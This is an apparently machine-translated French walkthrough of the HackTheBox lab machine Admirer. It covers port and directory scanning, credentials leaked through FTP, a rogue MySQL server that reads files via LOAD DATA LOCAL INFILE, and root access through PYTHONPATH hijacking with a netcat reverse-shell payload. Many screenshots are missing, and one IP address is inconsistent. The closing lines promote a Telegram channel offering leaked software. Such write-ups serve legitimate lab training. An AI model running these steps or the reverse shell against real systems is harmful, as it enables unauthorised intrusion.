Piratez la boîte. Procédure pas à pas Admirer. Vulnérabilité dans Admirer et RCE par usurpation de variable d'environnement



Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .



Dans cet article, nous analysons beaucoup, exploitons RCE dans Admirer et modifions la variable d'environnement pour exécuter notre code python.



La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il existe des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.



Informations organisationnelles
, , Telegram . , , .



. , - , .





Reconnaître



Cette machine a une adresse IP de 10.10.10.189, que j'ajoute à / etc / hosts.



10.10.10.187 	admirer.htb


La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500






Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.

nmap -A admirer.htb -p80,22,21






Sélectionnez notre prochaine étape dans le résultat de l'analyse nmap. Le serveur dispose donc de services FTP et SSH, mais ils nécessitent des informations d'identification. Il existe également un serveur Web Apache avec un fichier robots.txt. Il n'y a qu'une seule entrée dans ce fichier - le répertoire admin-dir. Puisqu'aucune information supplémentaire n'est fournie, notre prochaine étape consiste à analyser les répertoires. Pour cela, nous utilisons un gobuster rapide. Dans les paramètres, nous indiquons que nous voulons scanner les répertoires (dir), nous indiquons le site (-u), la liste des mots (-w), les extensions qui nous intéressent (-x), le nombre de threads (-t).

gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt






Et nous trouvons deux fichiers, le premier contient les adresses e-mail et le second contient diverses informations d'identification.











Et parmi les informations d'identification, nous trouvons les informations d'identification FTP. Et nous nous connectons avec succès.







Regardons autour du serveur.







Téléchargeons tous les fichiers.







Il y a un soupçon que cette archive est une sauvegarde du site, décompressons-la et voyons ce qu'elle contient.

mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz






Encore une fois, il y a un fichier robots.txt et une sorte de répertoire secret contenant tous les mêmes fichiers contacts.txt et credentials.txt.







Le premier fichier n'est pas différent de celui existant, mais parmi les informations d'identification, il y a celles que nous n'avons pas.







Après avoir essayé de les utiliser, nous n'allons nulle part. Cherchons l'utilisateur et passons des lignes dans tous les fichiers téléchargés.

grep -R -i "user\|pass" ./






Et nous trouvons deux autres mots de passe pour le même utilisateur. J'ai rassemblé toutes les informations d'identification disponibles.







Mais ils ne sont venus nulle part non plus.



Point d'accès



Si vous essayez d'effectuer des tâches non résolues sur le site, nous obtiendrons un refus.















Puisque tous les fichiers exécutables sont situés dans le répertoire des scripts utilitaires, analysons-les sur l'hôte à la recherche de fichiers php.

gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php






Et nous trouvons le fichier admirer.php.







Après avoir recherché des informations, à partir des sources suivantes , il est devenu clair comment obtenir RCE. Si vous spécifiez votre hôte en tant que serveur, vous pouvez voir une tentative de connexion.



Commençons par le service myqsl sur l'hôte local.

sudo service mysql start
sudo mysql -u root


Et nous allons créer un utilisateur pour l'autorisation.

create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';






Modifions maintenant le fichier de configuration /etc/mysql/mariadb.conf.d/50-server.cnf afin que n'importe qui puisse se connecter à notre hôte. Pour ce faire, mettez en commentaire la ligne d'adresse de liaison et redémarrez le service.







sudo service mysql restart


Nous nous connectons au nom de l'utilisateur nouvellement créé.











UTILISATEUR



Choisissons notre DB.







Ensuite, créons une table.







Et nous allons exécuter une requête SQL pour lire le fichier index.php, dans lequel nous pouvons trouver les informations d'identification (comme c'était le cas dans la sauvegarde).

load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'






Passons maintenant à notre table créée.







Et nous trouverons les informations d'identification.







Et avec ce mot de passe, nous nous connectons avec succès via SSH.



















RACINE



Vérifions nos paramètres sudo.







Ainsi, nous pouvons exécuter ce script en tant que super utilisateur. En regardant ce script, nous trouvons l'exécution du script python, qui est également exécuté sous sudo.







Et dans le script lui-même, une importation implicite est spécifiée.







Voyons les variables d'environnement, nous nous intéressons aux chemins python.







De cette façon, nous pouvons créer un fichier avec le même nom, contenant la même fonction, mais effectuant des actions différentes. Et puis en changeant cette variable d'environnement, nous lancerons le programme, ce qui conduira à l'exécution de notre fichier.

def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()






Exécutons le script.

sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh






Et nous obtenons un shell backconnect.







Nous avons un contrôle total sur cette machine.



Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.



All Articles